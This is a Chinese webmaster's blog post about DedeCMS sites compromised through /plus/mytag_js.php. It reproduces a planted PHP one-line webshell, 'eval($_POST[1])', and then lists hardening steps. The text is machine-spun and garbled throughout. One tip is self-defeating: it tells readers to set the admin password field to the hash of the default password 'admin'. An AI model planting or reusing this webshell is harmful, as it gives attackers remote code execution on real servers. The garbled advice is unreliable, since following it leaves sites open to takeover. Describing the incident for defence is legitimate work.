dedecms不断是很火的建站cms，主要得益于两大站长网的大力支持;不外，人火长短多，cms太火了异样会被别有用心的人盯上。我的网站不断在操纵dedecms，前段时候又一次遭到攻击，攻击的目标很简略，那末就是黑链，晓得后略微修正下代码就规复了，不是很严峻;这段时候网站又被莫名上传文件，类似前一次，固然对方还没来得及修正网站模板，不外这申明网站平安防患还未到位，对方任何时辰都能够再次取得治理员权限，以是要出格注重网站的平安防患措施。
由于我比力爱好寻根究底，以是就去网上找了一下相干的材料，发明这确切是dedecms的漏洞，黑客能够操纵***的变量绕过正则检测，漏洞主要发作在/plus/mytag_js.php中，道理就是预备一个MySQL数据库来攻击已知网站的数据库，经由进程向数据库中写入一句话的代码，只需乐成写入，那末以后便能够操纵这些代码来取得背景治理员权限。
联合我的网站被攻击已别人类似的阅历来看，黑客写入的文件主要存在于/plus/文件夹下，目前已知的几个文件包罗ga.php、log.php、b.php、b1.php等，文件的特点就是短小，内容很少，能够写入的时辰不是很便利，不外这些代码的感化确切不小的。
下面这是ga.php文件中的部份代码：
no
eval($_POST[1])
?>
no
eval($_POST[1])
?>
no
eval($_POST[1])
?>
实践的代码比下面截取的要长，不外都是这段代码的重复，至于log.php的代码，同这个类似，只需一句话，简略明了，假如你对收集平安稍有认识,，那末会晓得是php一句话木马，操纵部份指定的对象能够履行这段代码，估计是破解暗码的功效。
既然已晓得对方是操纵甚么样的漏洞，同时晓得对方操纵甚么样的道理来操纵漏洞，那末要怎样防备这些风险的事发作呢?经由查询大量的材料，我初步清算出下面这些防备漏洞被操纵的步调，希望对异样合用dedecms的站长伴侣们有所匡助。
一、升级版本打好补丁设置目次权限
这是官方对此的解决办法，不论你操纵的是甚么版本的dedecms，都要实时在背景升级版本自动更新补丁，这是防止漏洞被操纵的最主要的一步;同时官方还供给设置目次的方式，主要是设置data、templets、uploads、a为可读写弗成履行权限;include、member、plus、背景治理目次等设置为可履行可读弗成写入权限;删除install及special目次，详细若何设置见官方申明。
二、修正admin账号及暗码
黑客能够是操纵默认admin账号，随后推想暗码来破解的，以是修正默认的admin账号非常主要，至于若何修正，方式许多，比力有用的是用phpadmin登陆网站数据库，找到dede_admin数据库表(dede是数据库表前缀)，修正个中userid及pwd两项，个中暗码必定要修正成f297a57a5a743894a0e4，这是默认的暗码admin;修正后去背景登陆，登陆dede背景后修正暗码。
三、此外值得注重的处所
至于更多的细节，异样要注重，尽可能别挑选太便宜的空间，太便宜的空间很轻易泛起效劳器自己的平安成绩，只需效劳器泛起成绩，全部效劳器下面的网站都有救了。另有就是，网站制作，假如没必要，尽可能别守旧会员注册甚么的，操纵起来很费事;至于网站背景目次，不要写到robots.txt外面，同时每一个月最少换一次，治理员暗码甚么的异样要替换，防止和此外账号暗码雷同被推想出来。
经由这几回网站被攻击的实例，不得不说，互联网不是一个能够放心睡大觉的网，作为站长，算是织网的人，更应当注重收集平安;只需根据请求去做到了这些防范措施，不说100%，最少95%的能够不会被顺遂取得背景权限。
免责声明：本文内容由互联网用户自发贡献自行上传，本网站也不承担相关的法律责任。如果您发现本文章中有涉嫌抄袭的内容，请发送邮件至：sales@sznetsoft.com或者至电给本网站进行举报，并提供相关证据，一经查实，本站将立刻删除涉嫌侵权的内容。